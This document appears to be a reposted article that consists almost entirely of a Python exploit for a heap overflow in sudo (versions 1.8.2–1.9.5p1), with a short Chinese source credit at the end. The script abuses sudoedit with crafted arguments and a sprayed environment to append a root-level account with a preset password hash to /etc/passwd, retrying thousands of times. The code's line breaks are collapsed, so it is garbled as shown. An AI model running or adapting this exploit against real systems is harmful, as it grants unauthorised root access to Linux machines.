Sudo 1.8.2 - 1.8.31p2Sudo 1.9.0 - 1.9.5p1

#!/usr/bin/pythonimport osimport sysimport resourcefrom struct import packfrom ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000  # for ASLR disabledSTACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):    libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):    pid = os.fork()    if pid:        # parent        _, exit_code = os.waitpid(pid, 0)        return exit_code    else:        # child        execve(filename, cargv, cenvp)        exit(0)
def spawn(filename, argv, envp):    cargv = (c_char_p * len(argv))(*argv)    cenvp = (c_char_p * len(env))(*env)    return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correctTARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspecADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20ADDR_USER = pack('<Q', SA+OFFSET)ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
# for sprayingepage = [    'A'*0x8 + # to not ending with 0x00
    # fake def->var chunk (get freed)    '\x21', '', '', '', '', '', '',    ADDR_PRIV[:6], '',  # pointer to privilege    ADDR_CMND[:6], '',  # pointer to cmndspec    ADDR_MEMBER[:6], '',  # pointer to member
    # fake def->binding (list head) (get freed)    '\x21', '', '', '', '', '', '',    '', '', '', '', '', '', '', '',  # members.first    'A'*0x10 + # members.last, pad
    # userspec chunk (get freed)    '\x41', '', '', '', '', '', '', # chunk metadata    '', '', '', '', '', '', '', '',  # entries.tqe_next    'A'*8 +  # entries.tqe_prev    '', '', '', '', '', '', '', '',  # users.tqh_first    ADDR_MEMBER[:6]+'', '', # users.tqh_last    '', '', '', '', '', '', '', '',  # privileges.tqh_first    ADDR_PRIV[:6]+'', '', # privileges.tqh_last    '', '', '', '', '', '', '', '',  # comments.stqh_first
    # member chunk    '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)    'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)    ADDR_MEMBER_PREV[:6], '',  # member.tqe_prev, userspec.file (ref string)    'A'*8 + # member.name (can be any because this object is not freed)    pack('<H', 284), '',  # type, negated    'A'*0xc+ # padding
    # cmndspec chunk    '\x61'*0x8 + # chunk metadata (need only prev_inuse flag)    'A'*0x8 + # entries.tqe_next    ADDR_CMND_PREV[:6], '',  # entries.teq_prev    '', '', '', '', '', '', '', '',  # runasuserlist    '', '', '', '', '', '', '', '',  # runasgrouplist    ADDR_MEMBER[:6], '',  # cmnd    '\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter    '', '', '', '', '', '', '', '',  # role    '', '', '', '', '', '', '', '',  # type    'A'*8 + # padding
    # privileges chunk    '\x51'*0x8 + # chunk metadata    'A'*0x8 + # entries.tqe_next    ADDR_PRIV_PREV[:6], '',  # entries.teq_prev    'A'*8 + # ldap_role    'A'*8 + # hostlist.tqh_first    ADDR_MEMBER[:6], '',  # hostlist.teq_last    'A'*8 +  # cmndlist.tqh_first    ADDR_CMND[:6], '',  # cmndlist.teq_last]
cnt = sum(map(len, epage))padlen = 4096 - cnt - len(epage)epage.append('P'*(padlen-1))
env = [    "A"*(7+0x4010 + 0x110) + # overwrite until first defaults    "\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",     "A"*0x18 +     # defaults    "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next    'a'*8 + # prev    ADDR_DEF_VAR[:6]+'\\', '\\', # var    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val    ADDR_DEF_BINDING[:6]+'\\', '\\', # binding    ADDR_REFSTR[:6]+'\\', '\\',  # file    "Z"*0x8 +  # type, op, error, lineno    "\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)    'C'*0x638+  # need prev_inuse and overwrite until userspec    'B'*0x1b0+    # userspec chunk    # this chunk is not used because list is traversed with curr->prev->prev->next    "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size    ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack    "A"*8 + # entries.tqe_prev    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",  # users.tqh_first    ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last    "\\", "\\", "\\", "\\", "\\", "\\", "\\", "",  # privileges.tqh_first
    "LC_ALL=C",    "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd    "TZ=:",]
ENV_STACK_SIZE_MB = 4for i in range(ENV_STACK_SIZE_MB * 1024 / 4):    env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytesenv[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"r, w = os.pipe()os.dup2(r, 0)w = os.fdopen(w, 'w')w.write(APPEND_CONTENT)w.close()
null_fd = os.open('/dev/null', os.O_RDWR)os.dup2(null_fd, 2)
for i in range(8192):    sys.stdout.write('%d\r' % i)    if i % 8 == 0:        sys.stdout.flush()    exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)    if exit_code == 0:        print("success at %d" % i)        break

0x03 结论

文章来源：奇安信攻防社区（带头小哥）原文地址：https://forum.butian.net/share/1096排版：潇湘信安